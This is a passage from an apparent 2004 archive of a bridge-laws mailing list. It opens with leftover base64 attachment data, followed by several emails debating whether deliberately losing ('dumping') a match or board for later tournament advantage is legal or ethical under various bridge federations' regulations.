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 ------=_NextPart_000_0011_00006BCC.00005DAC-- From hermandw@hdw.be Fri May 21 10:28:29 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 21 May 2004 11:28:29 +0200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <000001c43f10$858689f0$6900a8c0@WINXP> References: <000001c43f10$858689f0$6900a8c0@WINXP> Message-ID: <40ADCBBD.7060706@hdw.be> Sven Pran wrote: > > I must add that I have never seen or heard of such incidents in Norway. We > play a lot of round robins and only yesterday I directed an event where > before the last round the victory was clear. Nobody even considered the > possibility of foul play by the winners in the last round in order to help > another pair; that just doesn't happen. (It would be too easily spotted > anyway). > No I'm sure it does not happen. I'm equally certain that the winners did not touch a drop of alcohol between the penultimate round and the last one, and that they played with the same full concentration and resolve as in all previous rounds. Dream on, Sven. It's clear that there can be a big difference between meeting a team that is out of contention (either because they have nothing more to play for or because they can no longer lose) and meeting a team that is still fighting for something. But that is not the issue. That's just the luck of the draw. The issue is that the winners, already known, should not be able to benefit from playing worse still. If, by allowing your direct opponent to win, you can eliminate some particular opponent and thereby help your chances in a latter stage of the same competition, then there is something wrong with the regulations. > And BTW, when starting positions for our national championship for pairs (85 > rounds round robin) are drawn the computer program as an extra safety > precaution searches for allocations so that different pairs from the same > region do not meet in the later rounds. > And why do you do that? Because you fear the dumping that you just said does not exist in Norway. Sorry Sven, I should know that Norwegians have higher standards of ethics than the rest of us. But they're still only human. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From cibor@poczta.fm Fri May 21 10:42:50 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Fri, 21 May 2004 11:42:50 +0200 Subject: [blml] Matchpoint dumping (was A newer one) References: <000001c43f10$858689f0$6900a8c0@WINXP> Message-ID: <007701c43f18$026d50a0$6a51fea9@ams.com> ----- Original Message -----=20 From: "Sven Pran" >Nobody even considered the >possibility of foul play by the winners in the last round in order to he= lp >another pair; that just doesn't happen. But this isn't what we are talking about. It is not about dumping a match to help your friends but to improve your chances of winning the whole event. E.g.. if the pairings for the QF are predetermined (1-8, 2-7 etc.) then the leading team might consider dumping a match to finish 2nd in order to play against the team ranked n=B07 and to avoid playing a team n=B08 against which they might have a very poor record. Dumping to help your friends is a different story - but this case is uninteresting to discuss. Konrad From Frances.Hinden@Shell.com Fri May 21 11:13:23 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Fri, 21 May 2004 11:13:23 +0100 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A86@lonsc-s-031.europe.shell.com> ----- Original Message -----=20 From: "Sven Pran" >Nobody even considered the >possibility of foul play by the winners in the last round in order to = help >another pair; that just doesn't happen. But this isn't what we are talking about. It is not about dumping a match to help your friends but to improve your chances of winning the whole event. E.g.. if the pairings for the QF are predetermined (1-8, 2-7 etc.) then the leading team might consider dumping a match to finish 2nd in order to play against the team ranked n=B07 and to avoid playing a team n=B08 against which they might have a very poor record. Dumping to help your friends is a different story - but this case is uninteresting to discuss. Konrad [Frances] The two can coincide. In the past the EBU have run their trials as a pairs pre-trial followed by a team trial. Two pairs entering the pre-trial could specify that if they both qualified they would play as a team. If they didn't both qualify, or didn't specify team-mates, the winners of the pre-trial selected which of the non-committed qualifying pairs they wanted to play with, and so on down the ranking list. If pair A were certain to qualify, but their potential team-mates pair B were in danger of not qualifying, there is a clear incentive for pair A to dump their match against pair B. This seems in line with the EBU dumping rules, just about. I didn't play in the trials then, it may have been the case that all potential pairings played each other very early on.=20 From svenpran@online.no Fri May 21 11:30:01 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 21 May 2004 12:30:01 +0200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <40ADCBBD.7060706@hdw.be> Message-ID: <000101c43f1e$92f9a6e0$6900a8c0@WINXP> > Herman De Wael > Sven Pran wrote: >=20 > > > > I must add that I have never seen or heard of such incidents in = Norway. > We > > play a lot of round robins and only yesterday I directed an event = where > > before the last round the victory was clear. Nobody even considered = the > > possibility of foul play by the winners in the last round in order = to > help > > another pair; that just doesn't happen. (It would be too easily = spotted > > anyway). > > >=20 > No I'm sure it does not happen. > I'm equally certain that the winners did not touch a drop of alcohol > between the penultimate round and the last one, and that they played > with the same full concentration and resolve as in all previous = rounds. > Dream on, Sven. No, the winners did not touch a drop of alcohol. It may surprise you but = in Norway any consumption of alcohol during this kind of competitions is strictly forbidden by anybody (including spectators) in the playing = rooms and by players even outside the playing rooms!=20 I cannot vouch for their maintained concentration during the last round = but I can confirm that there was no indication of any relaxation no more = than for any other pair in the tournament.=20 And I am not dreaming. > It's clear that there can be a big difference between meeting a team > that is out of contention (either because they have nothing more to > play for or because they can no longer lose) and meeting a team that > is still fighting for something. >=20 > But that is not the issue. That's just the luck of the draw. > The issue is that the winners, already known, should not be able to > benefit from playing worse still. If, by allowing your direct opponent > to win, you can eliminate some particular opponent and thereby help > your chances in a latter stage of the same competition, then there is > something wrong with the regulations. >=20 > > And BTW, when starting positions for our national championship for = pairs > (85 > > rounds round robin) are drawn the computer program as an extra = safety > > precaution searches for allocations so that different pairs from the > same > > region do not meet in the later rounds. > > >=20 > And why do you do that? Because you fear the dumping that you just > said does not exist in Norway. No, it is done because we have gotten the computing instrument to do so without any extra effort needed in order to eliminate any speculation of foul play. >=20 > Sorry Sven, I should know that Norwegians have higher standards of > ethics than the rest of us. But they're still only human. I don't know that we have any higher standards than other nationalities = and I certainly hope that there is no such difference. And we are certainly human like all others. Sometimes I do wonder however that our possibly different attitude stems from the fact that we have no professional bridge playing in Norway. = Prizes generally are of a moderate value so what you win is honor and not = monetary values. Regards Sven From john@asimere.com Fri May 21 11:33:21 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 21 May 2004 11:33:21 +0100 Subject: [blml] A newer one In-Reply-To: <004101c43ea9$1f0c9550$b5e6403e@multivisionoem> References: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> <4kGhl+d9FArAFwHA@blakjak.demon.co.uk> <004101c43ea9$1f0c9550$b5e6403e@multivisionoem> Message-ID: <3w7MgyAxrdrAFwWO@asimere.com> In article <004101c43ea9$1f0c9550$b5e6403e@multivisionoem>, gesta@tiscali.co.uk writes > >Grattan Endicott [also grandeval@vejez.fsnet.co.uk] >++++++++++++++++++++++++++++++++. > "Law is whatever is boldly asserted and > plausibly maintained." > - Aaron Burr (1756-1836) >=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= >----- Original Message ----- >From: "David Stevenson" >To: >Sent: Thursday, May 20, 2004 1:53 AM >Subject: Re: [blml] A newer one > > >> Note that the "We" referred ot here is the ACBL, >> or perhaps the WBF, or someone. The point is that >> anti-dumping rules are not world-wide. For example, >>dumping is legal in England and Wales. >> >+=+ Does this mean that in a round robin a team with >a margin to spare is permitted to throw to its last round >opponents and thus improve their final ranking? > ~ G ~ +=+ Once they realise they've won the round robin they'll all go out and get pissed and dump as a result of that (and I recall reading such a report 20-ish years ago). There is measurable difference in cause between dumping now in order to gain later, and dumping when one has no further interest in the result of this section of the tournament. The former is clearly legal and ethical and even if the CoC forbids dumping it is still legal and ethical, as this regulation cannot be made to apply to this scenario. "I see Mr SO, you are denying me the right to use my best endeavour to win this event?" In the latter case it is generally considered unsportsmanlike and in a sense this is a greater peer pressure than any number of regulations. What it boils down to is that CoC's should be designed so that "dumping" is not attractive, and then the problem goes away. We had Richard's example of the pro dumping the first board of a pairs event to improve his score, it strikes me that my habit of putting one out in the first stanza of a long match may well fall into the same category. It's just that I have only one opponent, whereas Richard's pro has many. > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Fri May 21 11:40:48 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 21 May 2004 11:40:48 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: References: Message-ID: In article , David Stevenson writes >RJH wrote >> >> >> >> >>Eric Landau: >> >>[snip] >> >>>IMO, playing to lose "the part" in order to >>>increase one's chances of winning "the whole" >>>(whatever those are) should not be considered >>>illegal dumping. Indeed, cannot be, when the >>>conditions are such that you must "play to >>>lose" one or the other. >> >>Richard James Hills: >> >>Yes and no. >> >>This Eric Landau/Edgar Kaplan/EBU view has some >>validity when discussing a winner-take-all >>event, such as the Bermuda Bowl. But this view >>runs into difficulties when considering the >>possible outcomes of a typical matchpoint pairs >>Mitchell movement session (without an arrow- >>switch), which has *two* winning pairs, both >>North-South and East-West. For example -> >> >>1. An astute professional was commencing a >>matchpoint pairs session with a beginner client. >> >>2. The beginner client admitted that they were >>petrified with nervousness, fearing that they >>would make too many mistakes. The beginner >>client was also petrified about their >>petrification, since the beginner client knew >>that they made more mistakes than usual when >>petrified. >> >>3. On the very first board, the astute pro >>perpetrated a non-logical alternative of a >>ridiculous vulnerable overcall. >> >>4. The astute pro moaned, "Oh no, what have I >>done?" >> >>5. Prompted by the astute pro's moaning, the >>opponents doubled. >> >>6. The astute pro accidentally dropped a trick >>in the play, turning a sure -800 bottom into a >>more spectacular -1100 bottom. >> >>7. After the board, the astute pro apologised >>to the petrified beginner client, "Sorry pard. >>After that sure bottom, we have no chance of >>winning the session now." >> >>8. With the pressure off, the beginner client >>was relaxed for the remainder of the session, >>played to the best of their ability, and so >>committed only routine idiocies. As a result, >>the astute pro was able to carry their beginner >>client to a North-South victory. >> >>9. Meanwhile, the astute pro's first round >>opponents gained an unexpected East-West >>victory by one matchpoint, due to their first >>board top. >> >>As TD, how would you rule? > > As a TD I would read the regs for the event. > > It is clearly legal in England where dooming is permitted anyway. > > It is clearly illegal in the ACBL where you are not allowed to play >any single board less than your best. I would dispute this. "Mr SO, I clearly am playing my best on this board as I'm maximising my chance of winning the event". That playing my best requires me to concede a duck and clutch is irrelevant. > > From what I remember of the WBF regs I seem to remember that you have >to do you best in every session: if so it is legal. > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Fri May 21 11:43:23 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 21 May 2004 11:43:23 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A86@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A86@lonsc-s-031.europe.shell.com> Message-ID: In article <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A86@lonsc-s- 031.europe.shell.com>, Hinden, Frances SI-PXS writes > > > >----- Original Message -----=20 >From: "Sven Pran" > >>Nobody even considered the >>possibility of foul play by the winners in the last round in order to h= elp >>another pair; that just doesn't happen. > >But this isn't what we are talking about. >It is not about dumping a match to help >your friends but to improve your chances >of winning the whole event. E.g.. if the >pairings for the QF are predetermined >(1-8, 2-7 etc.) then the leading team >might consider dumping a match >to finish 2nd in order to play against >the team ranked n=B07 and to avoid >playing a team n=B08 against which >they might have a very poor record. > > >Dumping to help your friends is a different >story - but this case is uninteresting to discuss. > > Konrad >[Frances] >The two can coincide. In the past the EBU have run their >trials as a pairs pre-trial followed by a team trial. >Two pairs entering the pre-trial could specify that if they >both qualified they would play as a team. If they didn't >both qualify, or didn't specify team-mates, the winners of the >pre-trial selected which of the non-committed qualifying pairs >they wanted to play with, and so on down the ranking list. > >If pair A were certain to qualify, but their potential team-mates >pair B were in danger of not qualifying, there is a clear >incentive for pair A to dump their match against pair B. > >This seems in line with the EBU dumping rules, just about. > >I didn't play in the trials then, it may have been the case >that all potential pairings played each other very early on.=20 Random draw IIRC Frances. John > > > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml --=20 John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From toddz@att.net Fri May 21 11:59:35 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Fri, 21 May 2004 06:59:35 -0400 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <007701c43f18$026d50a0$6a51fea9@ams.com> References: <000001c43f10$858689f0$6900a8c0@WINXP> <007701c43f18$026d50a0$6a51fea9@ams.com> Message-ID: <6.0.1.1.1.20040521065556.01b3be40@postoffice.worldnet.att.net> At 05:42 AM 5/21/2004, Konrad Ciborowski wrote: > But this isn't what we are talking about. > It is not about dumping a match to help > your friends but to improve your chances > of winning the whole event. E.g.. if the > pairings for the QF are predetermined > (1-8, 2-7 etc.) then the leading team > might consider dumping a match > to finish 